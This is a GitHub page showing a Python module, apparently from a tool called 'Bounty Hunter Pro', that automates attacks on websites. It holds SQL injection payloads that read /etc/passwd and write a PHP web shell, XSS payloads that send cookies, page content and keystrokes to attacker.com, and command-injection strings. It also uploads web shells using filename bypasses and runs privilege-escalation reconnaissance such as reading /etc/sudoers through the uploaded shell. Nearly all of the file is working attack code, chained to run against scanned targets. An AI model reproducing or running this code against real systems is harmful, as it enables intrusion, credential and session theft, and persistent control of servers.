-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathexploitation_modules.py
More file actions
525 lines (437 loc) · 22.6 KB
/
exploitation_modules.py
File metadata and controls
525 lines (437 loc) · 22.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
#!/usr/bin/env python3
"""
Advanced Exploitation Modules for Bounty Hunter Pro
Active penetration testing and exploitation capabilities
"""
import requests
import re
import urllib.parse
import socket
import ssl
import json
import time
import threading
import subprocess
import base64
import hashlib
import random
import string
from urllib.robotparser import RobotFileParser
from bs4 import BeautifulSoup
import dns.resolver
from concurrent.futures import ThreadPoolExecutor, as_completed
class SQLExploiter:
def __init__(self, session):
self.session = session
self.exploitation_payloads = {
'mysql': [
"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,user(),database(),version()--",
"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,schema_name,null,null FROM information_schema.schemata--",
"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,table_name,null,null FROM information_schema.tables WHERE table_schema=database()--",
"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,column_name,null,null FROM information_schema.columns WHERE table_schema=database()--",
"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,LOAD_FILE('/etc/passwd'),null,null--",
"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,'<?php system($_GET[\"cmd\"]); ?>',null,null INTO OUTFILE '/var/www/html/shell.php'--"
],
'postgresql': [
"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,current_user,current_database(),version()--",
"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,schemaname,null,null FROM pg_tables--",
"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,tablename,null,null FROM pg_tables WHERE schemaname='public'--",
"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,column_name,null,null FROM information_schema.columns--"
],
'mssql': [
"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,user_name(),db_name(),@@version--",
"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,name,null,null FROM sys.databases--",
"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,name,null,null FROM sys.tables--",
"' UNION SELECT 1,2,3,4,5,6,7,8,9,10,name,null,null FROM sys.columns--"
]
}
def exploit_sql_injection(self, vulnerable_url, injection_point):
"""Actively exploit SQL injection vulnerabilities"""
exploitation_results = []
for db_type, payloads in self.exploitation_payloads.items():
for payload in payloads:
try:
# Construct exploit URL
parsed_url = urllib.parse.urlparse(vulnerable_url)
params = urllib.parse.parse_qs(parsed_url.query)
if injection_point in params:
params[injection_point] = [payload]
new_query = urllib.parse.urlencode(params, doseq=True)
exploit_url = urllib.parse.urlunparse((
parsed_url.scheme, parsed_url.netloc, parsed_url.path,
parsed_url.params, new_query, parsed_url.fragment
))
response = self.session.get(exploit_url, timeout=10)
# Check for successful exploitation
if self.check_exploitation_success(response.text, db_type):
exploitation_results.append({
'type': 'SQL Injection Exploitation',
'database_type': db_type,
'payload': payload,
'url': exploit_url,
'response_length': len(response.content),
'extracted_data': self.extract_data_from_response(response.text),
'severity': 'Critical',
'impact': 'Database access achieved'
})
except Exception as e:
continue
return exploitation_results
def check_exploitation_success(self, response_text, db_type):
"""Check if exploitation was successful"""
success_indicators = {
'mysql': ['mysql', 'root@', 'information_schema', 'version()'],
'postgresql': ['postgresql', 'postgres', 'pg_', 'current_user'],
'mssql': ['microsoft', 'sql server', 'master', 'sys.']
}
indicators = success_indicators.get(db_type, [])
return any(indicator.lower() in response_text.lower() for indicator in indicators)
def extract_data_from_response(self, response_text):
"""Extract useful data from exploitation response"""
extracted = []
# Look for common database information patterns
patterns = [
r'root@[\w\.-]+', # MySQL user
r'\d+\.\d+\.\d+', # Version numbers
r'[a-zA-Z_][a-zA-Z0-9_]*@[a-zA-Z_][a-zA-Z0-9_]*', # User@host
r'information_schema|mysql|postgres|master', # Database names
]
for pattern in patterns:
matches = re.findall(pattern, response_text, re.IGNORECASE)
extracted.extend(matches)
return list(set(extracted)) # Remove duplicates
class XSSExploiter:
def __init__(self, session):
self.session = session
self.advanced_payloads = [
"<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>",
"<img src=x onerror=fetch('http://attacker.com/exfil?data='+btoa(document.documentElement.innerHTML))>",
"<svg onload=eval(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='))>", # Base64 encoded alert
"<iframe src=javascript:eval(String.fromCharCode(97,108,101,114,116,40,49,41))>",
"<script>new Image().src='http://attacker.com/keylog?key='+encodeURIComponent(document.addEventListener('keypress',function(e){new Image().src='http://attacker.com/key?k='+e.key}))</script>",
"<script>setInterval(function(){new Image().src='http://attacker.com/screenshot?data='+btoa(document.documentElement.innerHTML)},5000)</script>"
]
def exploit_xss(self, vulnerable_url, injection_point):
"""Actively exploit XSS vulnerabilities"""
exploitation_results = []
for payload in self.advanced_payloads:
try:
# Test reflected XSS
parsed_url = urllib.parse.urlparse(vulnerable_url)
params = urllib.parse.parse_qs(parsed_url.query)
if injection_point in params:
params[injection_point] = [payload]
new_query = urllib.parse.urlencode(params, doseq=True)
exploit_url = urllib.parse.urlunparse((
parsed_url.scheme, parsed_url.netloc, parsed_url.path,
parsed_url.params, new_query, parsed_url.fragment
))
response = self.session.get(exploit_url, timeout=10)
if payload in response.text:
exploitation_results.append({
'type': 'XSS Exploitation',
'subtype': 'Reflected XSS',
'payload': payload,
'url': exploit_url,
'severity': 'High',
'impact': 'Client-side code execution achieved',
'exploitation_vector': self.get_exploitation_vector(payload)
})
except Exception as e:
continue
return exploitation_results
def get_exploitation_vector(self, payload):
"""Determine the type of exploitation vector"""
if 'cookie' in payload.lower():
return 'Session hijacking'
elif 'fetch' in payload.lower() or 'Image' in payload:
return 'Data exfiltration'
elif 'keypress' in payload.lower():
return 'Keylogging'
elif 'setInterval' in payload.lower():
return 'Persistent monitoring'
else:
return 'Code execution'
class CommandInjectionExploiter:
def __init__(self, session):
self.session = session
self.command_payloads = [
"; cat /etc/passwd",
"| cat /etc/passwd",
"&& cat /etc/passwd",
"; whoami",
"| whoami",
"&& whoami",
"; id",
"| id",
"&& id",
"; ls -la /",
"| ls -la /",
"&& ls -la /",
"; uname -a",
"| uname -a",
"&& uname -a",
"; ps aux",
"| ps aux",
"&& ps aux"
]
def exploit_command_injection(self, vulnerable_url, injection_point):
"""Exploit command injection vulnerabilities"""
exploitation_results = []
for payload in self.command_payloads:
try:
parsed_url = urllib.parse.urlparse(vulnerable_url)
params = urllib.parse.parse_qs(parsed_url.query)
if injection_point in params:
params[injection_point] = [payload]
new_query = urllib.parse.urlencode(params, doseq=True)
exploit_url = urllib.parse.urlunparse((
parsed_url.scheme, parsed_url.netloc, parsed_url.path,
parsed_url.params, new_query, parsed_url.fragment
))
response = self.session.get(exploit_url, timeout=10)
if self.check_command_execution(response.text, payload):
exploitation_results.append({
'type': 'Command Injection Exploitation',
'payload': payload,
'url': exploit_url,
'severity': 'Critical',
'impact': 'Remote command execution achieved',
'command_output': self.extract_command_output(response.text, payload)
})
except Exception as e:
continue
return exploitation_results
def check_command_execution(self, response_text, payload):
"""Check if command execution was successful"""
command_indicators = {
'cat /etc/passwd': ['root:', 'bin:', 'daemon:', '/bin/bash', '/bin/sh'],
'whoami': ['root', 'www-data', 'apache', 'nginx'],
'id': ['uid=', 'gid=', 'groups='],
'ls -la': ['drwx', 'total', '-rw-'],
'uname -a': ['Linux', 'GNU', 'kernel'],
'ps aux': ['PID', 'USER', 'COMMAND']
}
for cmd, indicators in command_indicators.items():
if cmd in payload:
return any(indicator in response_text for indicator in indicators)
return False
def extract_command_output(self, response_text, payload):
"""Extract command output from response"""
# This is a simplified extraction - in reality, you'd need more sophisticated parsing
lines = response_text.split('\n')
relevant_lines = []
for line in lines:
if any(indicator in line for indicator in ['root:', 'uid=', 'Linux', 'PID']):
relevant_lines.append(line.strip())
return relevant_lines[:10] # Return first 10 relevant lines
class FileUploadExploiter:
def __init__(self, session):
self.session = session
self.shell_payloads = {
'php': '<?php if(isset($_GET["cmd"])){echo "<pre>";system($_GET["cmd"]);echo "</pre>";} ?>',
'asp': '<%eval request("cmd")%>',
'jsp': '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>',
'aspx': '<%@ Page Language="C#" %><%Response.Write(System.Diagnostics.Process.Start("cmd.exe","/c " + Request["cmd"]).StandardOutput.ReadToEnd());%>'
}
def exploit_file_upload(self, upload_url, file_extension='php'):
"""Exploit file upload vulnerabilities"""
exploitation_results = []
if file_extension not in self.shell_payloads:
file_extension = 'php' # Default to PHP
shell_content = self.shell_payloads[file_extension]
# Try various bypass techniques
bypass_techniques = [
f'shell.{file_extension}',
f'shell.{file_extension}.txt',
f'shell.txt.{file_extension}',
f'shell.{file_extension}%00.txt',
f'shell.{file_extension.upper()}',
f'shell.pHp', # Case variation for PHP
'shell.php5',
'shell.phtml'
]
for filename in bypass_techniques:
try:
files = {'file': (filename, shell_content, 'text/plain')}
response = self.session.post(upload_url, files=files, timeout=10)
if response.status_code == 200 and 'success' in response.text.lower():
# Try to access the uploaded shell
shell_url = self.construct_shell_url(upload_url, filename)
test_response = self.session.get(f"{shell_url}?cmd=whoami", timeout=5)
if test_response.status_code == 200 and len(test_response.text) > 0:
exploitation_results.append({
'type': 'File Upload Exploitation',
'filename': filename,
'shell_url': shell_url,
'upload_url': upload_url,
'severity': 'Critical',
'impact': 'Web shell uploaded successfully',
'test_command_output': test_response.text[:500]
})
except Exception as e:
continue
return exploitation_results
def construct_shell_url(self, upload_url, filename):
"""Construct the URL where the uploaded shell might be accessible"""
parsed_url = urllib.parse.urlparse(upload_url)
# Common upload directories
common_paths = [
f'/uploads/{filename}',
f'/upload/{filename}',
f'/files/{filename}',
f'/tmp/{filename}',
f'/{filename}'
]
# Return the most likely path
base_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
return f"{base_url}/uploads/{filename}"
class PrivilegeEscalationExploiter:
def __init__(self, session):
self.session = session
self.escalation_techniques = [
"find / -perm -4000 2>/dev/null", # Find SUID binaries
"find / -perm -2000 2>/dev/null", # Find SGID binaries
"cat /etc/crontab", # Check cron jobs
"ls -la /etc/cron*", # Check cron directories
"cat /proc/version", # Check kernel version
"uname -a", # System information
"cat /etc/passwd | grep -v nologin", # Active users
"sudo -l", # Check sudo permissions
"cat /etc/sudoers", # Sudoers file
"ps aux | grep root" # Root processes
]
def attempt_privilege_escalation(self, shell_url):
"""Attempt privilege escalation through various techniques"""
escalation_results = []
for technique in self.escalation_techniques:
try:
response = self.session.get(f"{shell_url}?cmd={urllib.parse.quote(technique)}", timeout=10)
if response.status_code == 200 and len(response.text) > 0:
escalation_results.append({
'type': 'Privilege Escalation Attempt',
'technique': technique,
'output': response.text[:1000], # First 1000 chars
'potential_vectors': self.analyze_escalation_output(response.text, technique)
})
except Exception as e:
continue
return escalation_results
def analyze_escalation_output(self, output, technique):
"""Analyze command output for privilege escalation vectors"""
vectors = []
if 'find / -perm -4000' in technique:
# Look for interesting SUID binaries
suid_binaries = ['nmap', 'vim', 'find', 'bash', 'more', 'less', 'nano']
for binary in suid_binaries:
if binary in output.lower():
vectors.append(f"SUID {binary} binary found - potential escalation vector")
elif 'crontab' in technique or 'cron' in technique:
if 'root' in output:
vectors.append("Root cron jobs found - potential for privilege escalation")
elif 'sudo -l' in technique:
if 'NOPASSWD' in output:
vectors.append("Passwordless sudo commands found")
elif 'proc/version' in technique or 'uname' in technique:
# Check for known vulnerable kernel versions
if any(version in output for version in ['2.6', '3.', '4.4']):
vectors.append("Potentially vulnerable kernel version detected")
return vectors
class AdvancedExploitationEngine:
def __init__(self):
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.sql_exploiter = SQLExploiter(self.session)
self.xss_exploiter = XSSExploiter(self.session)
self.cmd_exploiter = CommandInjectionExploiter(self.session)
self.upload_exploiter = FileUploadExploiter(self.session)
self.privesc_exploiter = PrivilegeEscalationExploiter(self.session)
def exploit_vulnerabilities(self, scan_results, progress_callback=None):
"""Exploit discovered vulnerabilities"""
exploitation_results = {
'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'),
'target': scan_results.get('url', 'Unknown'),
'exploitations': [],
'shells_obtained': [],
'privilege_escalations': [],
'data_extracted': [],
'status': 'In Progress'
}
try:
vulnerabilities = scan_results.get('vulnerabilities', [])
for vuln in vulnerabilities:
if progress_callback:
progress_callback(f"Exploiting {vuln.get('type', 'Unknown')} vulnerability...")
if 'SQL Injection' in vuln.get('type', ''):
exploits = self.sql_exploiter.exploit_sql_injection(
vuln.get('url', ''),
vuln.get('location', '').split(':')[-1] if ':' in vuln.get('location', '') else 'id'
)
exploitation_results['exploitations'].extend(exploits)
elif 'XSS' in vuln.get('type', ''):
exploits = self.xss_exploiter.exploit_xss(
vuln.get('url', ''),
vuln.get('location', '').split(':')[-1] if ':' in vuln.get('location', '') else 'q'
)
exploitation_results['exploitations'].extend(exploits)
# Check for file upload forms
if progress_callback:
progress_callback("Searching for file upload vulnerabilities...")
upload_forms = self.find_upload_forms(scan_results.get('url', ''))
for form_url in upload_forms:
exploits = self.upload_exploiter.exploit_file_upload(form_url)
exploitation_results['exploitations'].extend(exploits)
# If we got a shell, try privilege escalation
for exploit in exploits:
if exploit.get('type') == 'File Upload Exploitation' and 'shell_url' in exploit:
if progress_callback:
progress_callback("Attempting privilege escalation...")
privesc_results = self.privesc_exploiter.attempt_privilege_escalation(
exploit['shell_url']
)
exploitation_results['privilege_escalations'].extend(privesc_results)
exploitation_results['shells_obtained'].append(exploit['shell_url'])
exploitation_results['status'] = 'Completed'
except Exception as e:
exploitation_results['status'] = f'Error: {str(e)}'
if progress_callback:
progress_callback("Exploitation phase completed!")
return exploitation_results
def find_upload_forms(self, base_url):
"""Find file upload forms on the target"""
upload_forms = []
try:
response = self.session.get(base_url, timeout=10)
soup = BeautifulSoup(response.content, 'html.parser')
forms = soup.find_all('form')
for form in forms:
# Look for file input fields
file_inputs = form.find_all('input', {'type': 'file'})
if file_inputs:
action = form.get('action', base_url)
if not action.startswith('http'):
action = urllib.parse.urljoin(base_url, action)
upload_forms.append(action)
except Exception as e:
pass
return upload_forms
if __name__ == "__main__":
# Test the exploitation engine
engine = AdvancedExploitationEngine()
# Example scan results with vulnerabilities
test_scan_results = {
'url': 'https://example.com',
'vulnerabilities': [
{
'type': 'SQL Injection',
'url': 'https://example.com/search?id=1',
'location': 'GET parameter: id'
}
]
}
def progress_update(message):
print(f"[EXPLOIT] {message}")
results = engine.exploit_vulnerabilities(test_scan_results, progress_update)
print(json.dumps(results, indent=2))